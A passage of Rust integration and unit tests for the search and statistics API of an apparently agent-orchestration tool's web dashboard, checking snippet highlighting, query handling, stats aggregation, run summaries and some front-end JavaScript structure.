17674                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17675            "{v}"
17676        );
17677        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17678        assert_eq!(
17679            flat, "The Quokka leaks across threads",
17680            "whitespace is collapsed"
17681        );
17682
17683        // Terms are ANDed, across different fields, case-insensitively.
17684        let both = f
17685            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17686            .await
17687            .json();
17688        assert_eq!(both["total"], 1, "{both}");
17689        let neither = f
17690            .get("/api/search?scope=runs&q=quokka%20zebra")
17691            .await
17692            .json();
17693        assert_eq!(neither["total"], 0, "{neither}");
17694        // Everything in the task statement is reachable, not only the row text.
17695        let stmt = f
17696            .get("/api/search?scope=runs&q=mobile%20first")
17697            .await
17698            .json();
17699        assert_eq!(stmt["total"], 2, "{stmt}");
17700        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17701        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17702    }
17703
17704    #[test]
17705    fn snippet_ignores_terms_longer_than_the_field() {
17706        let terms = ["ok".to_owned(), "elephant".to_owned()];
17707        let parts = snippet_of("ok", &terms);
17708        assert_eq!(
17709            parts,
17710            vec![SnippetPart {
17711                text: "ok".to_owned(),
17712                hit: true
17713            }]
17714        );
17715    }
17716
17717    #[test]
17718    fn snippet_marks_matches_longer_than_the_window() {
17719        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17720        let hit_len = |parts: &[SnippetPart]| -> usize {
17721            parts
17722                .iter()
17723                .filter(|p| p.hit)
17724                .map(|p| p.text.chars().count())
17725                .sum()
17726        };
17727        let total =
17728            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17729
17730        let long = "a".repeat(120);
17731        let parts = snippet_of(&long, std::slice::from_ref(&long));
17732        assert!(hit_len(&parts) > 0, "{parts:?}");
17733        assert!(total(&parts) <= cap);
17734
17735        let ja = "あ".repeat(130);
17736        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17737        assert!(hit_len(&parts) > 0, "{parts:?}");
17738        assert!(total(&parts) <= cap);
17739
17740        // A short hit, then one straddling the window's end.
17741        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17742        let term = format!("ab{}", "c".repeat(100));
17743        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17744        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17745        assert!(total(&parts) <= cap);
17746
17747        // Only the head matches: not highlighted.
17748        let text = format!("{}z", "a".repeat(119));
17749        let parts = snippet_of(&text, &["a".repeat(120)]);
17750        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17751    }
17752
17753    #[tokio::test]
17754    async fn search_caps_hits_and_snippet_length() {
17755        let f = Fixture::start().await;
17756        let runs = f.runs();
17757        for n in 0..(SEARCH_MAX_HITS + 5) {
17758            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17759        }
17760        let v = f.get("/api/search?scope=runs&q=web").await.json();
17761        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17762        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17763        assert_eq!(v["truncated"], true);
17764        // Every listed run hit carries its list row for the page's filters.
17765        assert!(
17766            v["hits"]
17767                .as_array()
17768                .unwrap()
17769                .iter()
17770                .all(|h| h["run"]["status"] == "merged")
17771        );
17772
17773        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17774        let parts = snippet_of(&long, &["needle".to_owned()]);
17775        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17776        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17777        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17778    }
17779
17780    #[tokio::test]
17781    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17782        let f = Fixture::start().await;
17783        let queue = f.queue();
17784        let mut t = Task::new(
17785            "short title".to_owned(),
17786            "line one\nthe hidden Armadillo detail".to_owned(),
17787            PathBuf::from("/repo/magi"),
17788            Source::Agent {
17789                run: "r1".to_owned(),
17790                node: "chat".to_owned(),
17791            },
17792        );
17793        t.last_error = Some("disk full on /tmp".to_owned());
17794        queue.put(&mut t).expect("file the task");
17795
17796        for (q, want) in [
17797            ("armadillo", 1),
17798            ("disk%20FULL", 1),
17799            ("chat", 1),
17800            ("queued", 1),
17801            ("short%20nothing", 0),
17802        ] {
17803            let v = f
17804                .get(&format!("/api/search?scope=tasks&q={q}"))
17805                .await
17806                .json();
17807            assert_eq!(v["total"], want, "{q}: {v}");
17808        }
17809        for bad in [
17810            "/api/search?scope=tasks&q=",
17811            "/api/search?scope=tasks&q=%20",
17812            "/api/search?scope=chats&q=",
17813            "/api/search?scope=chats&q=%20",
17814            "/api/search?scope=nope&q=a",
17815            "/api/search?q=a",
17816        ] {
17817            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17818        }
17819    }
17820
17821    /// Write one conversation file the way the store reads it back.
17822    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17823        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17824            .expect("seat value");
17825        let turns: Vec<serde_json::Value> = turns
17826            .iter()
17827            .map(|(who, body)| {
17828                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17829            })
17830            .collect();
17831        let doc = serde_json::json!({
17832            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17833            "status": status, "turns": turns,
17834            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17835            "seat": seat,
17836        });
17837        let dir = f.home.path().join("talks");
17838        std::fs::create_dir_all(&dir).expect("talks dir");
17839        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17840    }
17841
17842    #[tokio::test]
17843    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17844        let f = Fixture::start().await;
17845        write_talk(
17846            &f,
17847            "20260901-000001-aaaa",
17848            "open",
17849            &[
17850                (
17851                    "operator",
17852                    "\n  Why does the Pangolin cache expire?\nsecond line",
17853                ),
17854                ("agent", "Because the TTL is thirty seconds."),
17855            ],
17856        );
17857        write_talk(
17858            &f,
17859            "20260901-000002-bbbb",
17860            "closed",
17861            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17862        );
17863        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17864
17865        let search = |q: &'static str| {
17866            let f = &f;
17867            async move {
17868                f.get(&format!("/api/search?scope=chats&q={q}"))
17869                    .await
17870                    .json()
17871            }
17872        };
17873
17874        let v = search("PANGOLIN").await;
17875        assert_eq!(v["scope"], "chats");
17876        assert_eq!(v["total"], 1, "{v}");
17877        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17878        assert_eq!(v["hits"][0]["field"], "title");
17879        assert_eq!(v["unreadable"], 1, "{v}");
17880        let marked: Vec<&str> = v["hits"][0]["snippet"]
17881            .as_array()
17882            .unwrap()
17883            .iter()
17884            .filter(|p| p["hit"] == true)
17885            .map(|p| p["text"].as_str().unwrap())
17886            .collect();
17887        assert_eq!(marked, ["Pangolin"]);
17888
17889        // An agent turn, in a closed conversation.
17890        let v = search("zebra").await;
17891        assert_eq!(v["total"], 1, "{v}");
17892        assert_eq!(v["hits"][0]["field"], "agent");
17893        // Words may sit in different turns; all must be present.
17894        assert_eq!(search("pangolin%20thirty").await["total"], 1);
17895        assert_eq!(search("pangolin%20zebra").await["total"], 0);
17896        // Bookkeeping is not searched.
17897        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17898            assert_eq!(search(q).await["total"], 0, "{q}");
17899        }
17900        // The first line only is the title; the second line is still a turn.
17901        assert_eq!(search("second").await["hits"][0]["field"], "operator");
17902        // Open conversations are listed before closed ones.
17903        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17904
17905        let v = f.get("/api/search?scope=nope&q=a").await;
17906        assert_eq!(v.status, 400);
17907        assert!(
17908            v.body.contains("scope must be runs, tasks or chats"),
17909            "{}",
17910            v.body
17911        );
17912    }
17913
17914    #[test]
17915    fn a_question_card_links_a_task_id_to_the_task_page() {
17916        let start = APP_JS
17917            .find("function updateAskCard(")
17918            .expect("updateAskCard exists");
17919        let body = &APP_JS[start..];
17920        let body = &body[..body.find("\n}\n").expect("function end")];
17921        assert!(body.contains("question.run_is_task"));
17922        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17923        assert!(body.contains("`#/runs/${question.run}`"));
17924        assert!(body.contains("\"task\" : \"run\""));
17925    }
17926
17927    #[test]
17928    fn plain_text_message_surfaces_go_through_linkify() {
17929        assert!(APP_JS.contains("function linkify("));
17930        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17931        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17932        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17933        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17934        assert!(!APP_JS.contains("innerHTML = text"));
17935    }
17936
17937    #[test]
17938    fn implementation_rate_views_keep_independent_samples() {
17939        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17940            let a = stats::AgentStats {
17941                competitive_entered: competitive_n,
17942                competitive_wins: usize::from(competitive_n > 0),
17943                solo_entered: solo_n,
17944                solo_adopted: 2 * usize::from(solo_n > 0),
17945                ..Default::default()
17946            };
17947            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17948            for (key, n, numerator) in [
17949                ("competitive_win_rate", competitive_n, a.competitive_wins),
17950                ("solo_adoption_rate", solo_n, a.solo_adopted),
17951            ] {
17952                if n == 0 {
17953                    assert!(v[key].is_null());
17954                } else {
17955                    assert_eq!(v[key]["denominator"], n);
17956                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17957                }
17958            }
17959        }
17960        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17961        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17962        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17963        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17964    }
17965
17966    #[test]
17967    fn stats_bars_share_one_id_keyed_plan() {
17968        let start = APP_JS
17969            .find("function statsBarRows(")
17970            .expect("statsBarRows exists");
17971        let body = &APP_JS[start..];
17972        let body = &body[..body.find("\n}\n").expect("function end")];
17973        assert!(body.contains("statsBarPlan(rows)"));
17974        assert!(body.contains("statsAgentTone(row.agent)"));
17975        assert!(!body.contains("candTone(i)"));
17976        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17977        for root in [
17978            "stats-agents-bars",
17979            "stats-solo-bars",
17980            "stats-reviewers-bars",
17981        ] {
17982            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17983        }
17984    }
17985
17986    #[test]
17987    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17988        let start = APP_JS
17989            .find("function renderStatsReviewerScatter(")
17990            .expect("renderStatsReviewerScatter exists");
17991        let body = &APP_JS[start..];
17992        let body = &body[..body.find("\n}\n").expect("function end")];
17993        assert!(body.contains("statsScatterPlan(reviewers)"));
17994        assert!(body.contains("statsAgentTone(d.agent)"));
17995        assert!(APP_JS.contains("function statsScatterPlan("));
17996        assert!(
17997            APP_JS.contains("d.submitted < STATS_LOW_N")
17998                || APP_JS.contains("r.submitted < STATS_LOW_N")
17999        );
18000        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18001        assert!(APP_CSS.contains(".precision-scatter"));
18002    }
18003
18004    #[test]
18005    fn advisor_reflection_is_drawn_as_stacked_segments() {
18006        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18007        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18008        let html = include_str!("../assets/ui/index.html");
18009        assert!(html.contains("Approximate"));
18010        for label in ["reflected strongly", "faint", "no proposal"] {
18011            assert!(html.contains(label));
18012        }
18013        let css = include_str!("../assets/ui/app.css");
18014        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18015            assert!(css.contains(&format!(".{c} {{")));
18016        }
18017    }
18018
18019    #[test]
18020    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18021        assert!(APP_JS.contains("function statsDailyPlan("));
18022        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18023        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18024    }
18025
18026    #[test]
18027    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18028        let start = APP_JS
18029            .find("function scheduleSearch(")
18030            .expect("scheduleSearch exists");
18031        let body = &APP_JS[start..];
18032        let body = &body[..body.find("\n}\n").expect("function end")];
18033        assert!(body.contains("s.seq += 1"));
18034    }
18035
18036    /// The dashboard reads every run's state itself rather than trusting a
18037    /// separately-maintained count, so an unreadable run must be counted the
18038    /// same way `/api/health` counts it - never silently dropped the way the
18039    /// CLI's own `stats::load_all` drops it.
18040    #[tokio::test]
18041    async fn stats_runs_unreadable_matches_health() {
18042        let f = Fixture::start().await;
18043        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18044        let broken = f.runs().join("20260902-140502-bad");
18045        std::fs::create_dir_all(&broken).expect("run dir");
18046        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18047
18048        let stats = f.get("/api/stats").await;
18049        let health = f.get("/api/health").await;
18050
18051        assert_eq!(stats.status, 200);
18052        assert_eq!(stats.json()["totals"]["runs"], 1);
18053        assert_eq!(stats.json()["runs_unreadable"], 1);
18054        assert_eq!(
18055            stats.json()["runs_unreadable"],
18056            health.json()["runs_unreadable"],
18057            "the dashboard and /api/health must never disagree about how many \
18058             runs could not be read"
18059        );
18060    }
18061
18062    #[tokio::test]
18063    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18064        let f = Fixture::start().await;
18065        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18066        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18067        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18068
18069        let totals = &f.get("/api/stats").await.json()["totals"];
18070        assert_eq!(totals["runs"], 3);
18071        assert_eq!(totals["merged"], 1);
18072        assert_eq!(totals["stalled"], 1);
18073        assert_eq!(totals["in_progress"], 1);
18074        // A stalled run must never read as blocked/merged/ready - it is its
18075        // own bucket, not folded into a "decided" one.
18076        assert_eq!(totals["blocked"], 0);
18077        assert_eq!(totals["ready"], 0);
18078    }
18079
18080    #[tokio::test]
18081    async fn stats_advisors_report_proposals_and_reflection() {
18082        use crate::advise::{Advice, AdvisorRecord, Reflection};
18083        use crate::verdict::Proposal;
18084
18085        let f = Fixture::start().await;
18086        let mut state = RunState::new(
18087            PathBuf::from("/repo/magi"),
18088            "main".to_owned(),
18089            "0123456789abcdef".to_owned(),
18090            "task".to_owned(),
18091            Config::default(),
18092        );
18093        state.id = "20260902-140501-a".to_owned();
18094        state.status = RunStatus::Merged;
18095        state.advice = Some(Advice {
18096            records: vec![
18097                AdvisorRecord {
18098                    seat: "advisor-1".to_owned(),
18099                    agent: "alpha".to_owned(),
18100                    proposal: Some(Proposal {
18101                        approach: "do it".to_owned(),
18102                        key_tradeoff: "speed over memory".to_owned(),
18103                        risks: Vec::new(),
18104                        touches: Vec::new(),
18105                        why_not_naive: "breaks under load".to_owned(),
18106                    }),
18107                    error: None,
18108                    duration_ms: 0,
18109                    reflection: Reflection::Strong,
18110                },
18111                AdvisorRecord {
18112                    seat: "advisor-2".to_owned(),
18113                    agent: "alpha".to_owned(),
18114                    proposal: None,
18115                    error: Some("timed out".to_owned()),
18116                    duration_ms: 0,
18117                    reflection: Reflection::Absent,
18118                },
18119            ],
18120            synthesis: Some("blended brief".to_owned()),
18121        });
18122        let dir = f.runs().join(&state.id);
18123        std::fs::create_dir_all(&dir).expect("run dir");
18124        std::fs::write(
18125            dir.join("run.json"),
18126            serde_json::to_string_pretty(&state).expect("serialize run"),
18127        )
18128        .expect("write run.json");
18129
18130        // `alpha` is in no roster here; this test is about the rates.
18131        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18132        let alpha = advisors
18133            .as_array()
18134            .expect("an array")
18135            .iter()
18136            .find(|a| a["agent"] == "alpha")
18137            .expect("alpha row");
18138        assert_eq!(alpha["seated"], 2);
18139        assert_eq!(alpha["proposed"], 1);
18140        assert_eq!(alpha["absent"], 1);
18141        assert_eq!(alpha["strong"], 1);
18142        assert_eq!(alpha["faint"], 0);
18143        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18144    }
18145
18146    #[tokio::test]
18147    async fn stats_hides_agents_outside_the_roster_unless_all() {
18148        use crate::run::Candidate;
18149        let repo = TempDir::new().expect("repo dir");
18150        std::fs::write(
18151            repo.path().join("magi.toml"),
18152            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18153        )
18154        .expect("magi.toml");
18155        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18156        let mut state = RunState::new(
18157            PathBuf::from("/repo/magi"),
18158            "main".to_owned(),
18159            "0123456789abcdef".to_owned(),
18160            "task".to_owned(),
18161            Config::default(),
18162        );
18163        state.id = "20260902-140501-a".to_owned();
18164        state.status = RunStatus::Merged;
18165        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18166            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18167                "index": 0, "label": label.to_string(), "agent": agent,
18168                "branch": "b", "worktree": "/w",
18169            }))
18170            .expect("candidate");
18171            c.label = label;
18172            state.candidates.push(c);
18173        }
18174        let dir = f.runs().join(&state.id);
18175        std::fs::create_dir_all(&dir).expect("run dir");
18176        std::fs::write(
18177            dir.join("run.json"),
18178            serde_json::to_string_pretty(&state).expect("serialize run"),
18179        )
18180        .expect("write run.json");
18181
18182        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18183            v["agents"]
18184                .as_array()
18185                .expect("array")
18186                .iter()
18187                .map(|a| a["agent"].as_str().unwrap().to_owned())
18188                .collect()
18189        };
18190        let hidden = f.get("/api/stats").await.json();
18191        assert_eq!(agents_of(&hidden), ["keep"]);
18192        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18193        assert_eq!(hidden["totals"]["runs"], 1);
18194
18195        let all = f.get("/api/stats?all=true").await.json();
18196        assert_eq!(agents_of(&all).len(), 2);
18197        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18198        // Verify competitive and solo keys exist on agent entries
18199        let keep_agent = all["agents"]
18200            .as_array()
18201            .unwrap()
18202            .iter()
18203            .find(|a| a["agent"] == "keep")
18204            .unwrap();
18205        assert_eq!(keep_agent["competitive_entered"], 1);
18206        assert_eq!(keep_agent["competitive_wins"], 0);
18207        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18208        assert_eq!(keep_agent["solo_entered"], 0);
18209        assert_eq!(keep_agent["solo_adopted"], 0);
18210        assert!(keep_agent["solo_adoption_rate"].is_null());
18211    }
18212
18213    #[tokio::test]
18214    async fn stats_release_bumps_split_clean_from_attention() {
18215        use crate::run::ReleaseBump;
18216
18217        let f = Fixture::start().await;
18218
18219        let mut clean = RunState::new(
18220            PathBuf::from("/repo/magi"),
18221            "main".to_owned(),
18222            "0123456789abcdef".to_owned(),
18223            "task".to_owned(),
18224            Config::default(),
18225        );
18226        clean.id = "20260902-140501-a".to_owned();
18227        clean.status = RunStatus::Merged;
18228        clean.release_bump = Some(ReleaseBump {
18229            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18230            version: Some("1.0.0".to_owned()),
18231            automerge_enabled: true,
18232            merged_directly: false,
18233            local: false,
18234            release: None,
18235            problem: None,
18236            action_required: None,
18237            skipped: None,
18238        });
18239
18240        let mut blocked = RunState::new(
18241            PathBuf::from("/repo/magi"),
18242            "main".to_owned(),
18243            "0123456789abcdef".to_owned(),
18244            "task".to_owned(),
18245            Config::default(),
18246        );
18247        blocked.id = "20260902-140502-b".to_owned();
18248        blocked.status = RunStatus::Merged;
18249        blocked.release_bump = Some(ReleaseBump {
18250            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18251            version: Some("1.0.1".to_owned()),
18252            automerge_enabled: false,
18253            merged_directly: false,
18254            local: false,
18255            release: None,
18256            problem: Some("checks red".to_owned()),
18257            action_required: Some("look at the PR".to_owned()),
18258            skipped: None,
18259        });
18260
18261        for state in [&clean, &blocked] {
18262            let dir = f.runs().join(&state.id);
18263            std::fs::create_dir_all(&dir).expect("run dir");
18264            std::fs::write(
18265                dir.join("run.json"),
18266                serde_json::to_string_pretty(state).expect("serialize run"),
18267            )
18268            .expect("write run.json");
18269        }
18270
18271        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18272        assert_eq!(bumps["merged"], 2);
18273        assert_eq!(bumps["recorded"], 2);
18274        assert_eq!(bumps["pr_opened"], 2);
18275        assert_eq!(bumps["automerge_enabled"], 1);
18276        assert_eq!(bumps["needs_attention"], 1);
18277        assert_eq!(bumps["clean"], 1);
18278        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18279        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18280    }
18281
18282    #[tokio::test]
18283    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18284        let f = Fixture::start().await;
18285        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18286
18287        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18288        assert_eq!(bumps["merged"], 1);
18289        assert_eq!(bumps["recorded"], 0);
18290        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18291        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18292        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18293        // `pr_opened` and `recorded` are both zero here, so these rates have
18294        // no denominator to compute from and must be null.
18295        assert_eq!(bumps["automerge_rate"], Value::Null);
18296        assert_eq!(bumps["attention_rate"], Value::Null);
18297    }
18298
18299    #[tokio::test]
18300    async fn stats_queue_counts_come_from_the_live_queue() {
18301        let f = Fixture::start().await;
18302        let q = f.queue();
18303        let mut queued = Task::new(
18304            "queued task".to_owned(),
18305            "do it".to_owned(),
18306            PathBuf::from("/repo"),
18307            Source::Human,
18308        );
18309        q.put(&mut queued).expect("put queued");
18310        let mut held = Task::new(
18311            "held task".to_owned(),
18312            "do it later".to_owned(),
18313            PathBuf::from("/repo"),
18314            Source::Human,
18315        );
18316        held.hold_machine(Some("out of attempts".to_owned()));
18317        q.put(&mut held).expect("put held");
18318
18319        let queue = f.get("/api/stats").await.json()["queue"].clone();
18320        assert_eq!(queue["queued"], 1);
18321        assert_eq!(queue["held"], 1);
18322        assert_eq!(queue["running"], 0);
18323        assert_eq!(queue["done"], 0);
18324        assert_eq!(queue["failed"], 0);
18325        assert_eq!(queue["blocked"], 0);
18326    }
18327
18328    #[tokio::test]
18329    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18330        let f = Fixture::start().await;
18331        let stats = f.get("/api/stats").await;
18332        assert_eq!(stats.status, 200);
18333        assert_eq!(stats.json()["totals"]["runs"], 0);
18334        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18335        assert_eq!(stats.json()["runs_unreadable"], 0);
18336        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18337        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18338        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18339        assert_eq!(stats.json()["repo"], Value::Null);
18340    }
18341
18342    #[tokio::test]
18343    async fn stats_lists_every_repository_with_runs_recorded() {
18344        let f = Fixture::start().await;
18345        write_run_repo(
18346            &f.runs(),
18347            "20260902-140501-a",
18348            RunStatus::Merged,
18349            "/repos/a",
18350        );
18351        write_run_repo(
18352            &f.runs(),
18353            "20260902-140502-b",
18354            RunStatus::Merged,
18355            "/repos/a",
18356        );
18357        write_run_repo(
18358            &f.runs(),
18359            "20260902-140503-c",
18360            RunStatus::Blocked,
18361            "/repos/b",
18362        );
18363
18364        let stats = f.get("/api/stats").await;
18365        assert_eq!(stats.status, 200);
18366        // Unfiltered - the aggregate across both repositories.
18367        assert_eq!(stats.json()["totals"]["runs"], 3);
18368        assert_eq!(stats.json()["repo"], Value::Null);
18369
18370        let repos = stats.json()["repos"].clone();
18371        let repos = repos.as_array().unwrap();
18372        assert_eq!(repos.len(), 2);
18373        // Busiest (2 runs) first.
18374        assert_eq!(repos[0]["repo"], "/repos/a");
18375        assert_eq!(repos[0]["name"], "a");
18376        assert_eq!(repos[0]["runs"], 2);
18377        assert_eq!(repos[1]["repo"], "/repos/b");
18378        assert_eq!(repos[1]["runs"], 1);
18379    }
18380
18381    #[tokio::test]
18382    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18383        let f = Fixture::start().await;
18384        write_run_repo(
18385            &f.runs(),
18386            "20260902-140501-a",
18387            RunStatus::Merged,
18388            "/repos/a",
18389        );
18390        write_run_repo(
18391            &f.runs(),
18392            "20260902-140502-b",
18393            RunStatus::Blocked,
18394            "/repos/b",
18395        );
18396
18397        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18398        assert_eq!(stats.status, 200);
18399        assert_eq!(stats.json()["totals"]["runs"], 1);
18400        assert_eq!(stats.json()["totals"]["merged"], 1);
18401        assert_eq!(stats.json()["repo"], "/repos/a");
18402        // The repository list itself is unaffected by the filter - it is
18403        // what a client switches repositories from.
18404        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18405        // runs_unreadable is a whole-workload count, never scoped to the
18406        // selected repository - see StatsView::runs_unreadable's own doc.
18407        assert_eq!(stats.json()["runs_unreadable"], 0);
18408    }
18409
18410    #[tokio::test]
18411    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18412        let f = Fixture::start().await;
18413        write_run_repo(
18414            &f.runs(),
18415            "20260902-140501-a",
18416            RunStatus::Merged,
18417            "/repos/a",
18418        );
18419        write_run_repo(
18420            &f.runs(),
18421            "20260902-140502-b",
18422            RunStatus::Merged,
18423            "/repos/b",
18424        );
18425
18426        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18427            let json = f.get(uri).await.json();
18428            let daily = json["daily"].as_array().expect("daily is an array");
18429            assert_eq!(daily.len(), 30);
18430            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18431            let mut sorted = dates.clone();
18432            sorted.sort();
18433            assert_eq!(dates, sorted);
18434            for d in daily {
18435                assert_eq!(
18436                    d["merged"].as_u64().unwrap()
18437                        + d["ready"].as_u64().unwrap()
18438                        + d["other"].as_u64().unwrap(),
18439                    d["runs"].as_u64().unwrap()
18440                );
18441            }
18442            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18443        }
18444    }
18445
18446    #[tokio::test]
18447    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18448        let f = Fixture::start().await;
18449        write_run_repo(
18450            &f.runs(),
18451            "20260902-140501-a",
18452            RunStatus::Merged,
18453            "/repos/a",
18454        );
18455
18456        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18457        assert_eq!(stats.status, 404);
18458    }
18459
18460    #[tokio::test]
18461    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18462        let f = Fixture::start().await;
18463        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18464
18465        let summary = f.get("/api/runs").await.json();
18466        let row = &summary[0];
18467        assert_eq!(row["short"], "a1b2");
18468        assert_eq!(row["status"], "ready");
18469        assert_eq!(row["done"], true);
18470        assert_eq!(row["title"], "Add a web UI");
18471        assert_eq!(row["repo_name"], "magi");
18472        assert_eq!(row["judges"], 3);
18473        assert_eq!(row["winner"], Value::Null);
18474        assert_eq!(row["reviews"], 0);
18475
18476        // The short id resolves, and the detail route is the state itself, not
18477        // a projection of it: the UI reads fields the summary does not carry.
18478        let detail = f.get("/api/runs/a1b2").await;
18479        assert_eq!(detail.status, 200);
18480        assert_eq!(detail.json()["base_branch"], "main");
18481        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18482    }
18483
18484    /// `status: "ready"` alone cannot tell a run still headed for a landing
18485    /// (a PR closed without merging, say) apart from one `[merge] mode =
18486    /// "none"` left unmerged for good — the confusion the operator flagged
18487    /// after the CLI report already grew a `not landed — nothing to do by
18488    /// design` line for exactly this case (`report.rs`). Both the list route
18489    /// and the detail route must carry a flag the phone can key on instead of
18490    /// re-deriving it from `status` + `merge.mode` itself.
18491    #[tokio::test]
18492    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18493        let f = Fixture::start().await;
18494
18495        let mut none_run = RunState::new(
18496            PathBuf::from("/repo/magi"),
18497            "main".to_owned(),
18498            "0123456789abcdef".to_owned(),
18499            "Add a web UI".to_owned(),
18500            Config::default(),
18501        );
18502        none_run.id = "20260902-140503-none".to_owned();
18503        none_run.status = RunStatus::Ready;
18504        none_run.merge = Some(crate::run::MergeOutcome {
18505            mode: crate::config::MergeMode::None,
18506            ok: true,
18507            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18508            empty: false,
18509        });
18510        write_state(&f.runs(), &none_run);
18511
18512        let mut pr_run = RunState::new(
18513            PathBuf::from("/repo/magi"),
18514            "main".to_owned(),
18515            "0123456789abcdef".to_owned(),
18516            "Add a web UI".to_owned(),
18517            Config::default(),
18518        );
18519        pr_run.id = "20260902-140504-prcl".to_owned();
18520        pr_run.status = RunStatus::Ready;
18521        pr_run.merge = Some(crate::run::MergeOutcome {
18522            mode: crate::config::MergeMode::Pr,
